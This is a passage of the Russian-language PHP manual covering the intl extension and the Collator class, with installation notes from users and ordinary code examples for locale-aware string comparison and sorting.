Anonymous 06-Jan-2023 12:52
ArchLinux:

pacman -S icu php-intl
domagoj dot starcevic1 at gmail dot com 12-Nov-2022 10:51
On Windows, with Apache server, it might not be enough to uncomment the extension in the php.ini file. You also need to copy icu****.dll files (about five of them) from PHP folder to Apache /bin folder.
Saurabh 21-Jul-2022 11:23
For amazon nginx server (CentOs), try the following:

sudo yum install libicu-devel
sudo yum install php-intl
lee dot wp14 at gmail dot com 28-Dec-2020 01:06
For ubuntu: apt install php-intl
daniel at danielphenry dot com 29-Apr-2015 04:50
To install on windows uncommenting the dll in php.ini is not enough you also need to include several other libraries in your system path (not user path). Found these details here: http://stackoverflow.com/a/6086991/819883
jonwebb at tecbiz dot eu 29-Apr-2014 02:41
On windows servers, open your php.ini (which should be in Program Files/PHP), and simply uncomment the extension.
extension=php_intl.dll
Restart IIS Webserver - done.
jltupac at hotmail dot com 17-May-2013 05:03
Ubuntu:
sudo apt-get install php5-intl


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Intl
Имя | По умолчанию | Место изменения | Список изменений
intl.default_locale |  | PHP_INI_ALL |
intl.error_level | 0 | PHP_INI_ALL |
intl.use_exceptions | 0 | PHP_INI_ALL | Доступно с PECL 3.0.0a1

Краткое разъяснение конфигурационных директив.

intl.default_locale string

Локаль по умолчанию для использования в функциях в случаях если соответствующие параметры будут опущены, либо заданы как NULL. Это локаль ICU, а не системная. Встроенные локали ICU и их данные можно посмотреть по ссылке » http://demo.icu-project.org/icu-bin/locexp.

По умолчанию значение пусто, что ведёт к принудительному использованию локали ICU по умолчанию. Единожды задав это значение его уже нельзя будет сбросить на начальное. Не рекомендуется использовать локаль ICU по умолчанию, поскольку она зависит от локали окружения сервера.

intl.error_level int

Тип сообщений об ошибках, генерируемых при их возникновении в функциях ICU. Задаётся как уровень ошибок PHP, таких как E_WARNING. Можно установить равным 0, если вообще не хотите видеть сообщения об ошибках. Данная настройка не влияет на возвращаемые значения функций в случае ошибок и результат выполнения intl_get_error_code() и специфичных для классов методов, возвращающих информацию об ошибках.

По умолчанию равно 0.

intl.use_exceptions int

Если установлено как true, то вместо ошибок будут выбрасываться исключения класса IntlException. Можно использовать в дополнение к intl.error_level.

по умолчанию равно false.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

INTL_ICU_VERSION (string)
Текущая версия библиотеки ICU в виде чисел с точечными разделителями.
INTL_MAX_LOCALE_LEN (int)
Задаёт длину имени локали. Для PHP установлено равным 80. Имена локалей больше этого значения не принимаются.
IDNA_DEFAULT (int)
Запретить передачу неопределённых кодов символов в функции IDN и не проверять ввод на соответствие правилам доменных имён ASCII.
IDNA_ALLOW_UNASSIGNED (int)
Разрешить передачу неопределённых кодов символов в функции IDN
IDNA_USE_STD3_RULES (int)
Проверять ввод для функций IDN на соответствие правилам доменных имён ASCII.
IDNA_CHECK_BIDI (int)
Проверять, соответствует ли ввод правилам BiDi. Игнорируется в реализации IDNA2003, которая всегда производит эту проверку.
IDNA_CHECK_CONTEXTJ (int)
Проверять, соответствует ли ввод правилам CONTEXTJ. Игнорируется в реализации IDNA2003, так как эта проверка введена в IDNA2008.
IDNA_NONTRANSITIONAL_TO_ASCII (int)
Опция для несквозной обработки в idn_to_ascii(). Сквозная обработка активирована по умолчанию. Игнорируется в реализации IDNA2003.
IDNA_NONTRANSITIONAL_TO_UNICODE (int)
Опция для несквозной обработки в idn_to_utf8(). Сквозная обработка активирована по умолчанию. Игнорируется в реализации IDNA2003.
INTL_IDNA_VARIANT_2003 (int)
Использовать алгоритм IDNA 2003 в idn_to_utf8() и idn_to_ascii(). Задано по умолчанию. Эта константа и то, что она используется по умолчанию, объявлено устаревшим в PHP 7.2.0.
INTL_IDNA_VARIANT_UTS46 (int)
Использовать алгоритм UTS #46 в idn_to_utf8() и idn_to_ascii(). Доступно с ICU 4.6.
IDNA_ERROR_EMPTY_LABEL (int)
IDNA_ERROR_LABEL_TOO_LONG (int)
IDNA_ERROR_DOMAIN_NAME_TOO_LONG (int)
IDNA_ERROR_LEADING_HYPHEN (int)
IDNA_ERROR_TRAILING_HYPHEN (int)
IDNA_ERROR_HYPHEN_3_4 (int)
IDNA_ERROR_LEADING_COMBINING_MARK (int)
IDNA_ERROR_DISALLOWED (int)
IDNA_ERROR_PUNYCODE (int)
IDNA_ERROR_LABEL_HAS_DOT (int)
IDNA_ERROR_INVALID_ACE_LABEL (int)
IDNA_ERROR_BIDI (int)
IDNA_ERROR_CONTEXTJ (int)
При использовании алгоритма UTS #46 в idn_to_utf8() и idn_to_ascii(), ошибки возвращаются в виде побитовой маски.

User Contributed Notes

rg at mejoramos dot com 05-Mar-2023 12:12
to date (MARCH 2023), the version Spanish not give info about the constant `INTL_ICU_VERSION`, take a look to English version, with details about the important constant `INTL_ICU_VERSION`
PHP Guru 03-Oct-2020 03:45
idn_to_ascii('fa?.de');

will return fass.de
(Due to Germans using the ? symbol as a contraction of ss)

idn_to_ascii('fa?.de', IDNA_NONTRANSITIONAL_TO_ASCII);

will return xn--fa-hia.de
(This is the correct behavior too allow fa?.de and fass.de to be registered as different domain names.)

idn_to_utf8('xn--fa-hia.de');

will return fass.de

idn_to_utf8('xn--fa-hia.de', IDNA_NONTRANSITIONAL_TO_UNICODE);

will return fa?.de
(Again this is the correct behavior.)


Примеры

Содержание

  • Основы использования модуля

User Contributed Notes

There are no user contributed notes for this page.


Основы использования модуля

Каждый модуль предоставляет два типа API: процедурный и объектно-ориентированный. Они идентичны и описываются в соответствующих разделах руководства.

Замечание:

Все входные данные должны быть в кодировке UTF-8. Все выходные данные также.

Пример #1 Пример использования процедурного API

<?php
$coll = collator_create('en_US');
$result = collator_compare($coll, "string#1", "string#2");
?>

Пример #2 Пример использования объектно-ориентированного API

<?php
$coll = new Collator('en_US');
$al = $coll->getLocale(Locale::ACTUAL_LOCALE);
echo "Текущая локаль: $al\n";

$formatter = new NumberFormatter('en_US', NumberFormatter::DECIMAL);
echo $formatter->format(1234567);
?>

User Contributed Notes

RoboTamer 05-Jun-2012 08:26
Get the default currency for a country:

<?php
$formatter = new NumberFormatter('de_DE', NumberFormatter::CURRENCY);
echo $formatter->getTextAttribute(NumberFormatter::CURRENCY_CODE);

$formatter = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
echo $formatter->getTextAttribute(NumberFormatter::CURRENCY_CODE);

$formatter = new NumberFormatter('ja_JP', NumberFormatter::CURRENCY);
echo $formatter->getTextAttribute(NumberFormatter::CURRENCY_CODE);
?>


Класс Collator

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Введение

Производит сравнение строк с поддержкой порядка сортировки специфичного для локали.

Обзор классов

class Collator {
/* Константы */
const int DEFAULT_VALUE;
const int PRIMARY;
const int SECONDARY;
const int TERTIARY;
const int DEFAULT_STRENGTH;
const int QUATERNARY;
const int IDENTICAL;
const int OFF;
const int ON;
const int SHIFTED;
const int NON_IGNORABLE;
const int LOWER_FIRST;
const int UPPER_FIRST;
const int FRENCH_COLLATION;
const int ALTERNATE_HANDLING;
const int CASE_FIRST;
const int CASE_LEVEL;
const int NORMALIZATION_MODE;
const int STRENGTH;
const int HIRAGANA_QUATERNARY_MODE;
const int NUMERIC_COLLATION;
const int SORT_REGULAR;
const int SORT_STRING;
const int SORT_NUMERIC;
/* Методы */
public __construct(string $locale)
public asort(array &$array, int $flags = Collator::SORT_REGULAR): bool
public compare(string $string1, string $string2): int|false
public static create(string $locale): ?Collator
public getAttribute(int $attribute): int|false
public getErrorCode(): int|false
public getErrorMessage(): string|false
public getLocale(int $type): string|false
public getSortKey(string $string): string|false
public getStrength(): int
public setAttribute(int $attribute, int $value): bool
public setStrength(int $strength): bool
public sortWithSortKeys(array &$array): bool
public sort(array &$array, int $flags = Collator::SORT_REGULAR): bool
}

Предопределённые константы

Collator::FRENCH_COLLATION

Сортировка строк с акцентами с конца строки. Этот атрибут автоматически проставляется в On для французской и некоторых других локалей. Обычно пользователям нет необходимости специально задавать этот параметр. Есть некоторая просадка производительности если этот параметр установлен как On, но никак не влияет на длину ключа сортировки. Возможные значения:

  • Collator::ON
  • Collator::OFF(по умолчанию)
  • Collator::DEFAULT_VALUE

Пример #1 Правила FRENCH_COLLATION

  • F=OFF cote < cote < cote < cote
  • F=ON cote < cote < cote < cote

Collator::ALTERNATE_HANDLING

Аттрибут "Alternate" используется для контроля обработки так называемых "переменных символов" в UCA: пробельные символы, знаки пунктуации и символы. Если "Alternate" установлен как NonIgnorable (N), то различия в этих символах будут считаться такими же значимыми, как и различия между буквами. Если "Alternate" установлен как Shifted (S), то эти символы будут иметь низкую значимость. Значение Shifted зачастую используется в комбинации с Strength установленным в "Quaternary". В таких случаях подобные символы будут учитываться при сортировке, но только если все остальные аспекты строк (буквы, акценты, регист) идентичны. Если "Alternate" не установлен как "Shifted", то разницы между "Strength" равным 3 и 4 не будет. Более подробно и с примерами читайте в разделе "Variable_Weighting" на сайте » UCA. Причина, по которой значения для "Alternate" не используются просто On в Off в том, что в будущем могут быть добавлены дополнительные варианты. Опция UCA "Blanked" выражается с помощью "Strength" установленного в и "Alternate" установленного в "Shifted". Для большинства локалей этот параметр по умолчанию равен "NonIgnorable". Если задано "Shifted", то обработка может быть медленнее в случае если у вас много строк, отличающихся только пунктуацией. Длина ключа сортировки не затрагивается только если также не увеличивался уровень "Strength".

Возможные значения:

  • Collator::NON_IGNORABLE(по умолчанию)
  • Collator::SHIFTED
  • Collator::DEFAULT_VALUE

Пример #2 ALTERNATE_HANDLING rules

  • S=3, A=N di Silva < Di Silva < diSilva < U.S.A. < USA
  • S=3, A=S di Silva = diSilva < Di Silva < U.S.A. = USA
  • S=4, A=S di Silva < diSilva < Di Silva < U.S.A. < USA

Collator::CASE_FIRST

Аттрибут "Case_First" используется для определения порядка сортировки в зависимости от регистра символов при отсутствии других различий в строках. Возможные значения: Uppercase_First(U), Lowercase_First (L), Default и Off. Между "Off" и "Lowercase_First" практически нет разницы, так что пользователи обычно не используют "Lowercase_First", а только Off или Uppercase_First. (Те, кому действительно интересна разница между X и L могут обратиться к Настройке Collation). Задание L или U не сказывается на скорости сравнения, но влияет на длину ключа сортировки.

Возможные значения:

  • Collator::OFF(по умолчанию)
  • Collator::LOWER_FIRST
  • Collator::UPPER_FIRST
  • Collator:DEFAULT

Пример #3 Правила CASE_FIRST

  • C=X or C=L "china" < "China" < "denmark" < "Denmark"
  • C=U "China" < "china" < "Denmark" < "denmark"

Collator::CASE_LEVEL

Аттрибут "Case_Level" используется, когда акценты не важны, а регист важен. В таких случаях установите "Strength" в значение Primary, и "Case_Level" в On. В большинстве локалей по умолчанию задано значение "Off". Оказывает незначительное влияние на скорость сравнения и длину ключа сортировки если установлено как On.

Возможные значения:

  • Collator::OFF(по умолчанию)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Пример #4 CASE_LEVEL rules

  • S=1, E=X role = Role = role
  • S=1, E=O role = role < Role

Collator::NORMALIZATION_MODE

Настройка "Normalization" определяет, будет ли текст тщательно нормализован в сравнении или нет. Даже если данная настройка отключена (по умолчанию для многих локалей), текст в общем случае будет сравниваться корректно (подробности в UTN #5). Проблемы могут быть только с отметками акцентов расположенными в неканоничном порядке. Если установлено как On, то будет гарантирован наилучший результат для всех возможных вариантов текста. Однако, если установлено как On - это скажется на скорости сравнения, в зависимости от количества последовательностей, который необходимо нормализовать. Какого-либо заметного влияния на длину ключа сортировки оказано не будет. Если заранее известно, что текст уже нормализован как NFD или NFKD, необходимости в использовании этой настройки нет.

Возможные значения:

  • Collator::OFF(по умолчанию)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::STRENGTH

ICU Collation Service поддерживает множество уровней сравнения (они называются "Levels", но также известны как "Strengths"). Использование этих настроек позволяет ICU сортировать строки точно в соответствии с правилами локали. Однако, разрешая выборочное использование этих уровней, поиск строки в тексте можно производить с использованием различных условий. Больше информации описано в главе посвящённой collator_set_strength().

Возможные значения:

  • Collator::PRIMARY
  • Collator::SECONDARY
  • Collator::TERTIARY(по умолчанию)
  • Collator::QUATERNARY
  • Collator::IDENTICAL
  • Collator::DEFAULT_VALUE

Collator::HIRAGANA_QUATERNARY_MODE

Совместимость с JIS x 4061 требует введения дополнительного уровня для выделения символов Hiragana и Katakana. Если требуется совместимость со стандартом, то данный аттрибут необходимо задать как On, а "Strength" как "Quaternary". Это скажется на длине ключа сортировки и скорости сравнения.

Возможные значения:

  • Collator::OFF(по умолчанию)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::NUMERIC_COLLATION

Если включён, этот аттрибут генерирует ключ сравнения для числового значения подстроки состоящей из цифр. Это позволяет при сортировке помещать '100' после '2'.

Возможные значения:

  • Collator::OFF(по умолчанию)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::DEFAULT_VALUE
Collator::PRIMARY
Collator::SECONDARY
Collator::TERTIARY
Collator::DEFAULT_STRENGTH
Collator::QUATERNARY
Collator::IDENTICAL
Collator::OFF
Collator::ON
Collator::SHIFTED
Collator::NON_IGNORABLE
Collator::LOWER_FIRST
Collator::UPPER_FIRST
Collator::SORT_REGULAR

Collator::SORT_STRING

Collator::SORT_NUMERIC

Содержание

  • Collator::asort — Сортирует массив с сохранением ассоциации индекса
  • Collator::compare — Сравнивает две строки Unicode
  • Collator::__construct — Создаёт новый экземпляр Collator
  • Collator::create — Создаёт новый экземпляр Collator
  • Collator::getAttribute — Получает значение атрибута сопоставления
  • Collator::getErrorCode — Получает последний код ошибки Collator
  • Collator::getErrorMessage — Получает текст для кода последней ошибки Collator
  • Collator::getLocale — Получает название локали для Collator
  • Collator::getSortKey — Получает ключ сортировки строки
  • Collator::getStrength — Получает текущую силу сопоставления
  • Collator::setAttribute — Устанавливает атрибут сопоставления
  • Collator::setStrength — Устанавливает силу сопоставления
  • Collator::sortWithSortKeys — Сортирует массив с использованием указанного Collator и ключей сортировки
  • Collator::sort — Сортирует массив с использованием указанного средства сортировки

User Contributed Notes

There are no user contributed notes for this page.


Сортирует массив с сохранением ассоциации индекса

  • « Collator
  • Collator::compare »
  • PHP Manual
  • Collator
  • Сортирует массив с сохранением ассоциации индекса

Collator::asort

collator_asort

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::asort -- collator_asort — Сортирует массив с сохранением ассоциации индекса

Описание

Объектно-ориентированный стиль

public Collator::asort(array &$array, int $flags = Collator::SORT_REGULAR): bool

Процедурный стиль

collator_asort(Collator $object, array &$array, int $flags = Collator::SORT_REGULAR): bool

Функция сортирует массив таким образом, чтобы индексы массива сохраняли свою корреляцию с элементами массива, с которыми они связаны. Это используется в основном при сортировке ассоциативных массивов, где важен фактический порядок элементов. Элементы массива будут иметь порядок сортировки в соответствии с текущими правилами локали.

Эквивалентно стандартной функции PHP asort().

Список параметров

object

Объект Collator.

array

Массив строк для сортировки.

flags

Необязательный тип сортировки, один из следующих:

  • Collator::SORT_REGULAR - сравнивает элементы как обычно (не изменяя тип)

  • Collator::SORT_NUMERIC - сравнивает элементы, как числа

  • Collator::SORT_STRING - сравнивает элементы, как строки

Значение flags по умолчанию - Collator::SORT_REGULAR. Также используется, если указано недопустимое значение flags.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования collator_asort()

<?php
$coll = collator_create( 'en_US' );
$arr = array(
'a' => '100',
'b' => '50',
'c' => '7'
);
collator_asort( $coll, $arr, Collator::SORT_NUMERIC );
var_export( $arr );

collator_asort( $coll, $arr, Collator::SORT_STRING );
var_export( $arr );
?>

Результат выполнения данного примера:

array (
  'c' => '7',
  'b' => '50',
  'a' => '100',
)array (
  'a' => '100',
  'b' => '50',
  'c' => '7',
)

Смотрите также

  • Константы Collator
  • collator_sort() - Сортирует массив с использованием указанного средства сортировки
  • collator_sort_with_sort_keys() - Сортирует массив с использованием указанного Collator и ключей сортировки

User Contributed Notes

alix dot axel at NOSPAM dot gmail dot com 20-Feb-2011 07:31
For those of you who are looking for a way to integrate natural sorting with the UCA rules this hack seems to work:

<?php

$array = array
(
    '1', '100',
    'al', 'be',
    'Alpha', 'Beta',
    'Alpha', 'Alpha', 'Alpha',
    '????',
    'img1.png', 'img2.png',
    'img10.png', 'img20.png'
);

echo '<pre>';
print_r(sortIntl($array, true));
echo '</pre>';

function sortIntl($array, $natural = true)
{
    $data = $array;

    if ($natural === true)
    {
        $data = preg_replace_callback('~([0-9]+)~', 'natsortIntl', $data);
    }

    collator_asort(collator_create('root'), $data);

    return array_intersect_key($array, $data);
}

function natsortIntl($number)
{
    return sprintf('%032d', $number);
}

?>

Output:

Array
(
    [0] => 1
    [1] => 100
    [2] => al
    [3] => be
    [4] => Alpha
    [5] => Beta
    [6] => Alpha
    [7] => Alpha
    [8] => Alpha
    [9] => ????
    [10] => img1.png
    [11] => img2.png
    [12] => img10.png
    [13] => img20.png
)


Сравнивает две строки Unicode

  • « Collator::asort
  • Collator::__construct »
  • PHP Manual
  • Collator
  • Сравнивает две строки Unicode

Collator::compare

collator_compare

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::compare -- collator_compare — Сравнивает две строки Unicode

Описание

Объектно-ориентированный стиль

public Collator::compare(string $string1, string $string2): int|false

Процедурный стиль

collator_compare(Collator $object, string $string1, string $string2): int|false

Сравнивает две строки Unicode в соответствии с правилами сопоставления.

Список параметров

object

Объект Collator.

string1

Первая строка для сравнения.

string2

Вторая строка для сравнения.

Возвращаемые значения

Возвращает результат сравнения:

  • 1, если string1 больше string2;

  • 0, если string1 равна string2;

  • -1, если string1 меньше string2.

В случае возникновения ошибки возвращает false.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Примеры

Пример #1 Пример использования collator_compare()

<?php
$s1 = 'Hello';
$s2 = 'hello';

$coll = collator_create( 'en_US' );
$res = collator_compare( $coll, $s1, $s2 );

if ($res === false) {
echo collator_get_error_message( $coll );
} else if( $res > 0 ) {
echo "s1 больше s2\n";
} else if( $res < 0 ) {
echo "s1 меньше s2\n";
} else {
echo "s1 и s2 равны\n";
}
?>

Результат выполнения данного примера:

s1 больше s2

Пример #2 Сравнение строк без диакритических знаков и без учёта регистра

<?php
$c = new Collator( 'en' );
$c->setStrength( Collator::PRIMARY );

if ( $c->compare( 'Sean', 'Sean' ) == 0 )
{
echo "Значения равны\n";
}

Результат выполнения данного примера:

Значения равны

В этом примере Collator сравнивает, принимая во внимание только базовые символы. Документация для Collator->setStrength() объясняет различные сильные стороны.

Смотрите также

  • collator_sort() - Сортирует массив с использованием указанного средства сортировки

User Contributed Notes

erik at eldata dot se 13-Dec-2020 06:53
The Collator class with method compare does what the non existing mb_strcmp, mb_strcasecmp, mb_strnatcmp and mb_strnatcasecmp would do for multibyte strings (UTF8) - but better! :-)

For "case": the Collator is case insensitive due to Collator::CASE_FIRST defaults to Collator::OFF, but can be changed with method setAttribute.

For "nat" (natural sort order for numbers): use method setAttribute with Collator::NUMERIC_COLLATION and Collator:ON to enable.


Создаёт новый экземпляр Collator

  • « Collator::compare
  • Collator::create »
  • PHP Manual
  • Collator
  • Создаёт новый экземпляр Collator

Collator::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::__construct — Создаёт новый экземпляр Collator

Описание

public Collator::__construct(string $locale)

Создаёт новый экземпляр Collator.

Список параметров

locale

Локаль, правила сопоставления которой следует использовать. Могут быть переданы специальные значения для языковых стандартов - если для языкового стандарта передана пустая строка (string), будут использоваться правила сопоставления языкового стандарта по умолчанию. Если передано значение "root", будут использоваться правила » UCA.

Атрибут locale обычно является наиболее важным атрибутом для правильной сортировки и сопоставления в соответствии с ожиданиями пользователей в разных странах и регионах. По умолчанию порядок сортировки » UCA будет правильно отсортировать только несколько языков, таких как голландский и португальский ("правильно" означает в соответствии с обычными ожиданиями пользователей этих языков). В противном случае вам необходимо указать локаль в UCA, чтобы правильно сопоставить текст для данного языка. Таким образом, необходимо указать языковой стандарт, чтобы выбрать Collator, который правильно адаптирован для этого языкового стандарта. Выбор языкового стандарта автоматически устанавливает значения для всех атрибутов на то, что подходит для этого языкового стандарта. Таким образом, в большинстве случаев другие атрибуты не нужно явно указывать. В некоторых случаях выбор локали будет иметь значение для производительности сравнения строк и/или длины ключа сортировки.

Ошибки

Возвращает "пустой" объект в случае возникновения ошибки. Используйте intl_get_error_code() и/или intl_get_error_message(), чтобы узнать что произошло.

Примеры

Пример #1 Пример использования Collator::__construct()

<?php
$coll = new Collator('en_CA');
?>

Смотрите также

  • Collator::create() - Создаёт новый экземпляр Collator
  • collator_create() - Создаёт новый экземпляр Collator

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр Collator

  • « Collator::__construct
  • Collator::getAttribute »
  • PHP Manual
  • Collator
  • Создаёт новый экземпляр Collator

Collator::create

collator_create

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::create -- collator_create — Создаёт новый экземпляр Collator

Описание

Объектно-ориентированный стиль

public static Collator::create(string $locale): ?Collator

Процедурный стиль

collator_create(string $locale): ?Collator

Строки будут сравниваться с использованием уже указанных параметров.

Список параметров

locale

Локаль, содержащая необходимые правила сопоставления. Могут быть переданы специальные значения для языковых стандартов, если для языкового стандарта передана пустая строка (string), будут использоваться правила сопоставления языковых стандартов по умолчанию. Если передаётся значение "root", будут использоваться правила » UCA.

Возвращаемые значения

Возвращает новый экземпляр Collator или null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования collator_create()

<?php
$coll = collator_create( 'en_US' );

if( !isset( $coll ) ) {
printf( "Не удалось создать Collator: %s\n", intl_get_error_message() );
exit( 1 );
}
?>

Смотрите также

  • Collator::__construct() - Создаёт новый экземпляр Collator

User Contributed Notes

There are no user contributed notes for this page.


Получает значение атрибута сопоставления

  • « Collator::create
  • Collator::getErrorCode »
  • PHP Manual
  • Collator
  • Получает значение атрибута сопоставления

Collator::getAttribute

collator_get_attribute

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::getAttribute -- collator_get_attribute — Получает значение атрибута сопоставления

Описание

Объектно-ориентированный стиль

public Collator::getAttribute(int $attribute): int|false

Процедурный стиль

collator_get_attribute(Collator $object, int $attribute): int|false

Получает значение целочисленного атрибута сопоставителя.

Список параметров

object

Объект Collator.

attribute

Атрибут, для которого требуется получить значение.

Возвращаемые значения

Значение атрибута или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования collator_get_attribute()

<?php
$coll = collator_create( 'en_CA' );
$val = collator_get_attribute( $coll, Collator::NUMERIC_COLLATION );
if( $val === false )
{
// Обработка ошибки
}
?>

Смотрите также

  • Константы Collator
  • collator_set_attribute() - Устанавливает атрибут сопоставления
  • collator_get_strength() - Получает текущую силу сопоставления

User Contributed Notes

There are no user contributed notes for this page.


Получает последний код ошибки Collator

  • « Collator::getAttribute
  • Collator::getErrorMessage »
  • PHP Manual
  • Collator
  • Получает последний код ошибки Collator

Collator::getErrorCode

collator_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::getErrorCode -- collator_get_error_code — Получает последний код ошибки Collator

Описание

Объектно-ориентированный стиль

public Collator::getErrorCode(): int|false

Процедурный стиль

collator_get_error_code(Collator $object): int|false

Список параметров

object

Объект Collator.

Возвращаемые значения

Код ошибки, возвращённый последним вызовом функции API Collator или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования collator_get_error_code()

<?php
$coll = collator_create( 'en_US' );
if( collator_get_attribute( $coll, Collator::FRENCH_COLLATION ) === false )
handle_error( collator_get_error_code() );
?>

Смотрите также

  • collator_get_error_message() - Получает текст для кода последней ошибки Collator

User Contributed Notes

There are no user contributed notes for this page.


Получает текст для кода последней ошибки Collator

  • « Collator::getErrorCode
  • Collator::getLocale »
  • PHP Manual
  • Collator
  • Получает текст для кода последней ошибки Collator

Collator::getErrorMessage

collator_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::getErrorMessage -- collator_get_error_message — Получает текст для кода последней ошибки Collator

Описание

Объектно-ориентированный стиль

public Collator::getErrorMessage(): string|false

Процедурный стиль

collator_get_error_message(Collator $object): string|false

Получает сообщение о последней ошибке.

Список параметров

object

Объект Collator.

Возвращаемые значения

Описание ошибки, возвращённой последним вызовом функции API Collator или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования collator_get_error_message()

<?php
$coll = collator_create( 'lt' );
if( collator_compare( $coll, 'y', 'k' ) === false ) {
echo collator_get_error_message( $coll );
}
?>

Смотрите также

  • collator_get_error_code() - Получает последний код ошибки Collator

User Contributed Notes

There are no user contributed notes for this page.


Получает название локали для Collator

  • « Collator::getErrorMessage
  • Collator::getSortKey »
  • PHP Manual
  • Collator
  • Получает название локали для Collator

Collator::getLocale

collator_get_locale

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::getLocale -- collator_get_locale — Получает название локали для Collator

Описание

Объектно-ориентированный стиль

public Collator::getLocale(int $type): string|false

Процедурный стиль

collator_get_locale(Collator $object, int $type): string|false

Получает название локали для Collator.

Список параметров

object

Объект Collator.

type

Вы можете выбирать между корректным и фактическим языковым стандартом ( Locale::VALID_LOCALE и Locale::ACTUAL_LOCALE, соответственно).

Возвращаемые значения

Настоящее имя локали, из которого берутся данные сопоставления. Если Collator был создан из правил или произошла ошибка, возвращает false.

Примеры

Пример #1 collator_get_locale() example

<?php
$coll = collator_create( 'en_US_California' );
$res_val = collator_get_locale( $coll, Locale::VALID_LOCALE );
$res_act = collator_get_locale( $coll, Locale::ACTUAL_LOCALE );
printf( "Название корректной локали: %s\nНазвание фактической локали: %s\n",
$res_val, $res_act );
?>

Результат выполнения данного примера:

Запрошенное название локали: en_US_California
Название корректной локали: en_US
Название фактической локали: en

Смотрите также

  • collator_create() - Создаёт новый экземпляр Collator

User Contributed Notes

There are no user contributed notes for this page.


Получает ключ сортировки строки

  • « Collator::getLocale
  • Collator::getStrength »
  • PHP Manual
  • Collator
  • Получает ключ сортировки строки

Collator::getSortKey

collator_get_sort_key

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 1.0.3)

Collator::getSortKey -- collator_get_sort_key — Получает ключ сортировки строки

Описание

Объектно-ориентированный стиль

public Collator::getSortKey(string $string): string|false

Процедурный стиль

collator_get_sort_key(Collator $object, string $string): string|false

Возвращает ключ сопоставления для строки. Ключи сопоставления можно сравнивать напрямую, а не строки, хотя они зависят от реализации и могут меняться в зависимости от версии библиотеки ICU. Ключи сортировки обычно полезны только в базах данных или в других случаях, когда вызовы функций чрезвычайно дороги.

Список параметров

object

Объект Collator.

string

Строка, из которой создаётся ключ.

Возвращаемые значения

Возвращает ключ сопоставления для строки или false в случае возникновения ошибки.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Примеры

Пример #1 Пример использования collator_get_sort_key()

<?php
$s1 = 'Hello';

$coll = collator_create('en_US');
$res = collator_get_sort_key($coll, $s1);

echo bin2hex($res);
?>

Результатом выполнения данного примера будет что-то подобное:

3832404046010901dc08

Смотрите также

  • collator_sort() - Сортирует массив с использованием указанного средства сортировки
  • collator_sort_with_sort_keys() - Сортирует массив с использованием указанного Collator и ключей сортировки

User Contributed Notes

There are no user contributed notes for this page.


Получает текущую силу сопоставления

  • « Collator::getSortKey
  • Collator::setAttribute »
  • PHP Manual
  • Collator
  • Получает текущую силу сопоставления

Collator::getStrength

collator_get_strength

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::getStrength -- collator_get_strength — Получает текущую силу сопоставления

Описание

Объектно-ориентированный стиль

public Collator::getStrength(): int

Процедурный стиль

collator_get_strength(Collator $object): int

Список параметров

object

Объект Collator.

Возвращаемые значения

Возвращает текущую силу сопоставления или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования collator_get_strength()

<?php
$coll = collator_create( 'en_US' );
$strength = collator_get_strength( $coll );
?>

Смотрите также

  • Константы Collator
  • collator_set_strength() - Устанавливает силу сопоставления
  • collator_get_attribute() - Получает значение атрибута сопоставления

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает атрибут сопоставления

  • « Collator::getStrength
  • Collator::setStrength »
  • PHP Manual
  • Collator
  • Устанавливает атрибут сопоставления

Collator::setAttribute

collator_set_attribute

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::setAttribute -- collator_set_attribute — Устанавливает атрибут сопоставления

Описание

Объектно-ориентированный стиль

public Collator::setAttribute(int $attribute, int $value): bool

Процедурный стиль

collator_set_attribute(Collator $object, int $attribute, int $value): bool

Список параметров

object

Объект Collator.

attribute

Атрибут.

value

Значение атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования collator_set_attribute()

<?php
$coll = collator_create( 'en_CA' );
$val = collator_get_attribute( $coll, Collator::NUMERIC_COLLATION );
if ($val === false) {
// Обработка ошибки.
} elseif ($val === Collator::ON) {
// Делаем что-то полезное.
}
?>

Смотрите также

  • Константы Collator
  • collator_get_attribute() - Получает значение атрибута сопоставления
  • collator_set_strength() - Устанавливает силу сопоставления

User Contributed Notes

galiaf1987 at gmail dot com 20-Jun-2023 05:13
//realy example
$collator = new \Collator('en');
